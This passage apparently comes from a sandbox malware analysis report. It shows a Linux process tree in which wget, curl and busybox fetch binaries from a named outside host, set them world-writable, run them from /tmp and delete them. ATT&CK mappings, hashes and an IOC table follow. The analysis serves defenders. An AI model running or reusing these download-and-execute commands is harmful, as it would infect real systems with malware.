  rm SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
  chmod 777 pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  ./pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  ./nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  ./slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - System Network Configuration Discovery
  PID:993
- /bin/chmod
  chmod 777 JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  ./JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  ./QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  ./aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ

Path /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	787	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	794	PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	831	pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	838	SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	848	JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	855	QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	862	aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	869	pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	876	nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	883	slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	890	xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	897	L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	904	8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	911	9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	918	L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	925	8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	932	9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	939	xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	946	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	953	PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	960	pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	967	SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	974	pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	981	nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	988	slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	995	JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	1002	QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	1009	aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT